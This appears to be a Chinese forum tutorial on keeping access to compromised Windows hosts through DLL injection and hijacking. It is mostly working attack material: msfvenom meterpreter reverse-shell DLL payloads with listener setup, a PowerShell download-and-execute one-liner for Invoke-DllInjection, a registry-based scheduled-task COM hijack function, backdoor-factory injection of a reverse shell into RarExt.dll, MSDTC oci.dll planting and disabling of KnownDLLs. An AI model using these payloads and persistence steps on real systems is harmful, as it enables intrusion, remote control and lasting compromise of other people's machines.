IT评测·应用市场-qidao123.com技术社区

标题: WEB渗透权限维持篇-DLL注入\挟制 [打印本页]

作者: 鼠扑    时间: 2024-9-8 17:48
标题: WEB渗透权限维持篇-DLL注入\挟制
DLL注入

Powershell

  1. 生成DLL
  2. >msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=6666 -f dll -o /var/www/html/x.dll
  3. >use exploit/multi/handler
  4. >set payload windows/x64/meterpreter/reverse_tcp
  5. >Powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.105/powersploit/CodeExecution/Invoke-DllInjection.ps1'); Invoke-DllInjection -ProcessID pid -Dll .\1.dll"
复制代码
InjectProc

  1. 生成DLL
  2. #msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=12138 -f dll -o /var/www/html/qq.dll
  3. #use exploit/multi/handler
  4. #set payload windows/x64/meterpreter/reverse_tcp
  5. 使用如下命令注入进程
  6. >InjectProc.exe dll_inj qq.dll xx.exe(存在的进程)
复制代码


 
DLL挟制筹划任务

  1. function Invoke-ScheduledTaskComHandlerUserTask
  2. {
  3. [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')]
  4. Param (
  5. [Parameter(Mandatory = $True)]
  6. [ValidateNotNullOrEmpty()]
  7. [String]
  8. $Command,
  9. [Switch]
  10. $Force
  11. )
  12. $ScheduledTaskCommandPath = "HKCU:\Software\Classes\CLSID\{58fb76b9-ac85-4e55-ac04-427593b1d060}\InprocServer32"
  13. if ($Force -or ((Get-ItemProperty -Path $ScheduledTaskCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){
  14. New-Item $ScheduledTaskCommandPath -Force |
  15. New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null
  16. }else{
  17. Write-Verbose "Key already exists, consider using -Force"
  18. exit
  19. }
  20. if (Test-Path $ScheduledTaskCommandPath) {
  21. Write-Verbose "Created registry entries to hijack the UserTask"
  22. }else{
  23. Write-Warning "Failed to create registry key, exiting"
  24. exit
  25. }
  26. }
复制代码
  1. Invoke-ScheduledTaskComHandlerUserTask -Command "C:\test\testmsg.dll" -Verbose
  2. 重启权限可维持
复制代码
 
DLL署理挟制右键

  1. 右键对应的注册表路径是
  2. HKLM\Software\Classes\*\ShellEx\ContextMenuHandlers
  3. 使用autoruns查看加载的DLL
复制代码


  1. 以rarext.dll为例
  2. 使用https://github.com/rek7/dll-hijacking创建代理DLL
  3. 注意修改parse.py中dumpbin.exe的位置
复制代码


  1. >python3 parse.py -d rarext.dll
复制代码


  1. 修改原DLL为rarext_.dll,重新生成解决方案命名为rarext.dll
  2. 将两个DLL放入原目录,重启
复制代码
 
DLL挟制

挟制1

  1. 注册表
  2. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\ExcludeFromKnownDlls下添加 "lpk.dll"(若无,自己创建)
  3. ExcludeFromKnownDlls可使KnownDLLs失效
  4. 需要重新启动电脑
  5. 查找可劫持的DLL:
  6. 1.启动程序
  7. 2.使用Process Explorer查看该应用程序启动后加载的DLL。
  8. 3.从已经加载的DLL列表中,查找在上述“KnownDLLs注册表项”中不存在的DLL。
  9. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
  10. 4.编写第三步中获取到的DLL的劫持DLL。
  11. 5.将编写好的劫持DLL放到该应用程序目录下,重新启动该应用程序,检测是否劫持成功。
复制代码


  1. Explorer.exe启动调用winrar文件夹的RarExt.dll
  2. Msf监听
复制代码


  1. 复制dll文件到the-backdoor-factory文件夹中,加载恶意dll进原dll
  2. >python backdoor.py -f RarExt.dll -s reverse_shell_tcp_inline -P 12138 -H 192.168.0.107 指定为kali监听的IP和端口
复制代码


  1. 生成好的dll在backdoored文件夹,传入靶机中,替换原dll文件,最好把原dll保存备份。
  2. 每次打开windows资源管理器的时候,即可上线。重启可维持
复制代码


挟制2

  1. 使用
  2. https://github.com/coca1ne/DLL_Hijacker
  3. https://github.com/git20150901/DLLHijack_Detecter
  4. 查看要劫持的DLL的函数导出表,会直接生成cpp源码,重编译指向恶意代码
  5. DLLHijack_Detecter可查看程序加载的不在KnownDLLs中的DLL
复制代码
MSDTC服务挟制

  1. 服务名称MSDTC,显示名称Distributed Transaction Coordinator
  2. 对应进程msdtc.exe,位于%windir%system32
  3. C:\Windows\System32\wbem\
  4. 服务启动搜索注册表位置计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI
  5. #msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.51 LPORT=4444 -f dll -o /var/www/html/oci.dll
  6. Oci.dll放入c:\windows\system32\
  7. 重启服务即可
  8. >taskkill /f /im msdtc.exe
复制代码
Rattler

  1. 自动化查找可劫持的DLL
  2. https://github.com/sensepost/rattler
  3. 使用
  4. >Rattler_x64.exe calc.exe 1
  5. 会列出可被劫持的DLL
复制代码


  1. 按程序读取DLL位置顺序,把恶意DLL放入程序同目录后,执行程序即可。
复制代码





免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 IT评测·应用市场-qidao123.com技术社区 (https://dis.qidao123.com/) Powered by Discuz! X3.4